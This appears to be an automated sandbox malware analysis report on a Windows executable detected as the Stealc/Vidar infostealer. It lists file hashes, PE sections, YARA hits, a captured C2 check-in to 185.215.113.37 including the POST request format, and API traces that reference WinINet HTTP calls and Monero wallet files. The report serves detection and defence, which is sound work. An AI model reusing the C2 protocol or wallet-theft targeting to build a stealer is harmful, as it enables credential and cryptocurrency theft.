	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94578014704454
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'865'216 bytes
MD5:	f8499202b78a41093fc86e4ee8be2d0b
SHA1:	56066a06e2ae405ad5e7dc5be7f37283aa742fa0
SHA256:	e81eb5bcb9497a84f1f496cf0af37c234f8e80aaf0bb179e153005592ef67321
SHA512:	3668d4267ba66bab0a93d60c773dda38eab7d3ec4751d869b87a1ccf4e7b88a0fabc7082d375f9190a1800f9467ca619bfbd87bf71d418e273b42882c79e07ed
SSDEEP:	49152:JdN6M75rSnGcIoc3MNTgt69xS0NRVFkd:l19SnaoWt694GF
TLSH:	68853390286BC9BDC08C84FDF3160CA53A789F1E89659B52D2AC133FA3296D1517F6D8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaaa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FECB0898A3Ah
andps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FECB089AA35h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	6dc8a185ba5cbf85e03a56d0f5b18cf5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a9000	0x200	25dd88df222d466250ad73a1e20b0601	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nxusumaz	0x507000	0x1a2000	0x1a1400	e723b2e1510566ed818a2ec25da32ba9	False	0.9947304242810066	data	7.954159005583094	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hgxnhwve	0x6a9000	0x1000	0x400	bdbcd95e1dccd879da921042fe06c99c	False	0.7890625	data	6.144568537420407	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6aa000	0x3000	0x2200	8e38bfa82d80d09a1d368005423a6aff	False	0.04377297794117647	DOS executable (COM)	0.5576186273692433	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T20:20:04.670212+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 20:20:03.443120956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 20:20:03.448626041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 20:20:03.448718071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 20:20:03.448885918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 20:20:03.454312086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 20:20:04.372705936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 20:20:04.372777939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 20:20:04.376467943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 20:20:04.383615017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 20:20:04.670043945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 20:20:04.670212030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 20:20:06.898168087 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	4788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 20:20:03.448885918 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 20:20:04.372705936 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 18:20:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 20:20:04.376467943 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHDHJKKJDHJJJJKEGHI Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 37 42 37 38 43 33 45 34 31 30 34 30 38 31 39 30 37 36 37 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="hwid"D57B78C3E4104081907672------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="build"doma------BFHDHJKKJDHJJJJKEGHI--
Oct 24, 2024 20:20:04.670043945 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 18:20:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	14:19:59
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'865'216 bytes
MD5 hash:	F8499202B78A41093FC86E4EE8BE2D0B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2089690608.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2133647068.000000000126E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01280630), ref: 004198A1
GetProcAddress.KERNEL32(75900000,01280798), ref: 004198BA
GetProcAddress.KERNEL32(75900000,01280678), ref: 004198D2
GetProcAddress.KERNEL32(75900000,012806D8), ref: 004198EA
GetProcAddress.KERNEL32(75900000,012805E8), ref: 00419903
GetProcAddress.KERNEL32(75900000,012889B0), ref: 0041991B
GetProcAddress.KERNEL32(75900000,012766C0), ref: 00419933
GetProcAddress.KERNEL32(75900000,01276680), ref: 0041994C
GetProcAddress.KERNEL32(75900000,01280828), ref: 00419964
GetProcAddress.KERNEL32(75900000,01280618), ref: 0041997C
GetProcAddress.KERNEL32(75900000,01280840), ref: 00419995
GetProcAddress.KERNEL32(75900000,01280600), ref: 004199AD
GetProcAddress.KERNEL32(75900000,012767C0), ref: 004199C5
GetProcAddress.KERNEL32(75900000,01280558), ref: 004199DE
GetProcAddress.KERNEL32(75900000,012807B0), ref: 004199F6
GetProcAddress.KERNEL32(75900000,01276740), ref: 00419A0E
GetProcAddress.KERNEL32(75900000,01280648), ref: 00419A27
GetProcAddress.KERNEL32(75900000,01280660), ref: 00419A3F
GetProcAddress.KERNEL32(75900000,01276840), ref: 00419A57
GetProcAddress.KERNEL32(75900000,01280690), ref: 00419A70
GetProcAddress.KERNEL32(75900000,01276860), ref: 00419A88
LoadLibraryA.KERNEL32(012806F0,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(012806A8,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(01280720,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(012806C0,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(01280768,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(75070000,01280738), ref: 00419B02
GetProcAddress.KERNEL32(75FD0000,012807C8), ref: 00419B23
GetProcAddress.KERNEL32(75FD0000,01288D90), ref: 00419B3B
GetProcAddress.KERNEL32(75A50000,01288EB0), ref: 00419B5D
GetProcAddress.KERNEL32(74E50000,01276700), ref: 00419B7E
GetProcAddress.KERNEL32(76E80000,012887F0), ref: 00419B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00419BB6

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 004045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0040460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: e0e919c0a181e3e4761569682b6ef3db093da5a8f22fe90550f4713ada199f9e
Instruction ID: 22ed7a58571918d810edc57e10ddec68df788e9c23d2e020e164f13485651267
Opcode Fuzzy Hash: e0e919c0a181e3e4761569682b6ef3db093da5a8f22fe90550f4713ada199f9e
Instruction Fuzzy Hash: 534109607C5A1C7AC634B7A4A8CEFBF76775F4A700FA25046E80852292CBF865144D3B

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,0128E5E0), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,0128E530), ref: 00404DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,0128E5C0,?,0128DBB0,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,01288AF0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

------, xrefs: 004049BD
------, xrefs: 00404C69
", xrefs: 00404BF2
", xrefs: 00404D33
------, xrefs: 00404B28

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

